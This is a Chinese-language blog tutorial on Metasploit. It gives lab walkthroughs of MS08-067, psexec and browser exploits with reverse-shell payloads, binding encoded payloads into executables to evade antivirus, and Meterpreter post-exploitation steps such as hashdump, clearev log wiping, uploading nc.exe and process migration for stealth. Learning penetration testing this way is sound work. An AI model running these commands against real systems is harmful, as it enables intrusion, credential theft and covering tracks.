美文网首页
Metasploit

Metasploit

作者: 二潘 | 来源:发表于2018-01-22 10:34 被阅读95次

1.渗透测试框架

默认的数据库为:postgresql
端口为:5432
初始化数据库
msfdb reinit

2.技术功能模块(不是流程模块)
程序主目录
/usr/share/metasploit-framework/
有6个模块
Exploits:利用系统漏洞进行攻击的动作,此模块对应的每一个具体漏洞的攻击方法(主动、被动)
Payload:成功exploit之后,真正在目标系统中执行的代码指令

  • shellcode或系统命令
  • 三种payload:/usr/share/metasploit-framework/modules/payload/
  • single:all-in-one
  • stager:目标计算器内存有限时,先传输一个较小的payload用于建立连接
  • stages:利用stager建立的连接下载的后续payload
  • stager、stages都有多种类型,适用于不同场景
  • shellcode 是payload的一种,由于其建立正向/反向shell而得名

msf架构

技术功能模块(不是流程模块)

  • Auxiliary:执行信息收集、枚举、指纹探测、扫描等功能辅助模块(没有payload的exploit模块)
  • Encoders:对payload进行加密,躲避AV检查的模块
  • Nope:提高payload稳定性及维持大小

基本的使用

使用前先升级:msfupdate
初始化数据库:smfdb reinit
Msfcli使用接口
Msfconsole使用接口

  • 最流行的接口
  • 几乎可以使用全部MSF功能
  • 控制台命令支持TAB自动补齐
  • 支持外部命令的执行(系统命令等)
  • 点击鼠标启动 /msfconsole -h -q -r -v /exit
  • help / ? / help vulns

msf控制台命令

  • banner :显示banner信息
  • color:颜色的区分
  • connect -h 可以作为一个客户端去连接别人,类似于nc差不多,支持SSL,代理,UDP

show auxiliary / exploits / payload / encoders / nops

search ms10-046 搜索内容太多,可以使用下面的语句进行快速搜索

  • search name:mysql
  • search cve:2016
  • search type:auxiliary

08-067漏洞利用

search 08_067    查找模块
use exploit/windows/smb/ms08_067_netapi  进入模块
info 查看模块当前模块的基本信息
show options 设置选项
show targets  制定类型
show advanced 设置高级的参数
show missing    设置需要配置的参数
set rhost 192.168.11.118 设置要攻击的IP
check 检查漏洞是否真的存在
back 返回上一层

数据库断开与连接

db_disconnect 断开当前数据库的连接
cd /usr/share/metasploit-framework/config 默认的数据库连接地址
db_connect msf3:msf@localhost/msf3 数据库连接

db_nmap

>db_nmap 192.168.1.1 调用namp扫描工具,并保存到PostgreSQL里面
hosts    查看数据库里面的nmap扫描记录
hosts 192.168.1.1  筛选其中一条nmap记录
services  查看开放的端口
>services -S 3306  查看某个特定开放的端口
 services -c port,state -p 1-200   查看端口和状态为开放的IP段1-200的存活ip

mysql_login模块使用

search mysql_login     搜索这个漏洞利用辅助模块
use auxiliary/scanner/mysql/mysql_login  进入这个辅助模块
show options   设置
set blank_passwords true   开启密码为空的选项
set rhosts 192.168.11.120  攻击IP
set username root  用户名
exploit  开始
creds   查看利用成功的IP

数据库导入

db_import /root/12.xml

unset rhosts 取消刚刚设置的参数
setg rhosts 1.1.1.1 全局变量,把所有要设置IP的参数全部都设置成1.1.1.1
unsetg rhosts 取消全局变量

Exploit模块

RHOST远程主机,LHOST本地主机

1.active,受害者的服务存在漏洞,攻击者主动向受害者发送漏洞利用代码。

实例:exploit/windows/smb/psexec

适用场景:攻击者获取到了受害者的账号和密码,但是受害者机器上没有开放Telnet,远程桌面等服务。
注:如果想该漏洞利用成功,需要关闭用户账号控制设置(UAC)


TIM图片20180131162858.png
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set rhost 192.168.80.150
msf exploit(psexec) > set smbuser coler
msf exploit(psexec) > set smbpass 123456
msf exploit(psexec) > set payload windows/shell/reverse_tcp
msf exploit(psexec) > set lhost 192.168.80.163
msf exploit(psexec) > exploit -j
msf exploit(handler) > sessions -u 1 将shell提升到meterpreter类型的shell

上面攻击都是针对存在漏洞的服务器程序,提供服务器端的程序

2.passive,受害者的客户端程序存在漏洞,攻击者诱使受害者使用存在漏洞的客户端程序,访问自己构建好的 存在漏洞利用代码的服务端程序。

实例:exploit/windows/browser/ms07_017_ani_loadimage_chunksize

msf > use exploit/windows/browser/ms07_017_ani_loadimage_chunksize

msf exploit(ms07_017_ani_loadimage_chunksize) > set srvhost 192.168.80.163

msf exploit(ms07_017_ani_loadimage_chunksize) > set payload windows/shell/reverse_tcp

msf exploit(ms07_017_ani_loadimage_chunksize) > set lhost 192.168.80.163

msf exploit(ms07_017_ani_loadimage_chunksize) > exploit

在存在漏洞的IE浏览器上访问http://192.168.80.163/,攻击者会得到受害者的shell。

payload模块

msf > use payload/windows/shell_bind_tcp

msf payload(windows/shell_bind_tcp) > generate -b '\x00'    过滤坏字符(实际是使用encoders模块将坏字符编码)

msf payload(windows/shell_bind_tcp) >   generate -b '\x00\xff' -t exe -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f 123.exe   将payload绑定到radmin.exe中

在靶机上运行123.exe,然后在攻击机上用nc连接靶机的4444端口,会获得靶机的shell。

root@kali:~# nc 192.168.11.122 4444

注:有时将绑定payload的执行程序拷贝到物理机上,会被物理机的杀毒软件杀掉,可以先开启msf的Apache服务,将exe程序放在/var/www/html目录下,然后通过虚拟机直接访问下载。

root@kali:~# service apache2 start

root@kali:~# cp 123.exe /var/www/html/

Meterpreter

  1. 高级、动态、可扩展的payload
  • 基于meterpreter上下文利用更多漏洞发起攻击
  • 后渗透测试阶段一站式操作界面

2.完全基于内存的DLL注入式payload(不写硬盘)

  • 注入到系统一个正常的进程里面(桌面进程等(explorer.exe))隐蔽性很好
  • 利用tls隧道进一步加载后续扩展模块(避免网络取证 )

Meterpreter基本命令
例子:ms08_067

search ms08_067
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > show options 
msf exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.11.114
msf exploit(windows/smb/ms08_067_netapi) > set target 34
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) >set lhost 192.168.11.124
msf exploit(windows/smb/ms08_067_netapi) >msf exploit(windows/smb/ms08_067_netapi) >exploit  -j
sessions -l
---------------------------------------------------------------------------------------------------
msf exploit(windows/smb/ms08_067_netapi) >sessions -i 2   进入meterpreter类型的shell
meterpreter > background  退出到msf命令提示符下,session一直都在
meterpreter > lpwd  等价于在kali上输入pwd
meterpreter > lcd /etc  等价于在kali上输入cd /etc
meterpreter >edit  aaa.txt  编辑文件 
meterpreter > getuid  查看权限
meterpreter > bgrun hashdump 获取目标主机的hash
meterpreter > bgrun vnc 开启图形化的远程管理
--------------------------------------------------------------------------------------------------------
meterpreter > clearev  清除日志
meterpreter > download OEWABLog.txt  下载目标主机上面的文件
meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32 上传nc到目标主机上面,注意要使用2个反斜杠
meterpreter > dir system32\\nc.exe   查看是否上传成功
meterpreter > execute -f cmd.exe -i -H  获得目标主机的shell,-i交互模式,-H隐藏
---------------------------------------------------------------------------------------------------------
meterpreter > getuid  查看当前账号
meterpreter > getsystem  如果获取的不是system权限,强制性的获取成system
meterpreter > getprivs 查看有哪些操作系统的权限
meterpreter > getpid    查看注入到那个进程里面了
Current pid: 1100
meterpreter > ps    查看这个1100是什么进程
meterpreter > migrate 1624   把1100的进程迁移到1624(桌面的进程中来)这样做的目的是:隐蔽性比较好,查看进程时,是一个正常的进程
-----------------------------------------------------------------------------------------------------------
操作系统中常用的命令:
meterpreter > hashdump    
meterpreter >  run post/windows/gather/smart_hashdump
上面两个都是获取hash的命令,第二个调用模块,第一个自身的命令,结果都是一样的
meterpreter > sysinfo    查看系统信息
meterpreter > kill 1100   结束进程
meterpreter > show_mount   查看目标系统主机挂载的盘
----------------------------------------------------------------------------------------------------------
网络中的命令:
terpreter > route   查看当前路由表
terpreter > arp
terpreter > netstat
terpreter > ipconfig和ifconfig  在meterpreter都可以使用
-------------------------------------------------------------------------------------------------------
meterpreter > idletime   目标操作系统空闲多长时间

Meterpreter python扩展

2015年11月份,来自社区的贡献
无需运行环境,在客户端运行原生python代码
load python

  • help
  • meterpreter > python_execute "print('hello world')"

msf 信息收集

一、主动信息收集

1、Nmap扫描

db_nmap -sV 192.168.1.1

2、search arp

msf > use auxiliary/scanner/discovery/arp_sweep  进入arp_sweep 这个模块
msf auxiliary(scanner/discovery/arp_sweep) > show options    查看需要配置的参数
msf auxiliary(scanner/discovery/arp_sweep) > set rhosts 192.168.11.0/24 设置目标主机的IP段
msf auxiliary(scanner/discovery/arp_sweep) > set threads 20 设置线程为20
msf auxiliary(scanner/discovery/arp_sweep) > exploit/run  开始扫描

3、search portscan

msf > use auxiliary/scanner/portscan/syn  进入这个扫描的模块
msf auxiliary(scanner/portscan/syn) > show options   查看需要配置的参数
msf auxiliary(scanner/portscan/syn) > set ports 80   设置扫描的端口
msf auxiliary(scanner/portscan/syn) > set rhosts 192.168.11.0/24 设置目标主机的IP段
msf auxiliary(scanner/portscan/syn) > set threads 20  设置线程
msf auxiliary(scanner/portscan/syn) > show options  再次查看需要设置的参数
msf auxiliary(scanner/portscan/syn) > exploit  运行

4、UDP扫描

msf > use auxiliary/scanner/discovery/udp_sweep 进入模块
msf auxiliary(scanner/discovery/udp_sweep) > show options  查看需要配置的参数
msf auxiliary(scanner/discovery/udp_sweep) > set rhosts 192.168.1.100-192.168.1.200  设置目标主机的IP段
msf auxiliary(scanner/discovery/udp_sweep) > run 开始扫描

二、被动信息收集
密码嗅探

  • 支持从pcap抓包文件中提取密码
  • 功能类似于dsniff
  • 目前支持pop3、imap、ftp、Http GET协议

相关文章

网友评论

      本文标题:Metasploit

      本文链接:https://www.haomeiwen.com/subject/gexlaxtx.html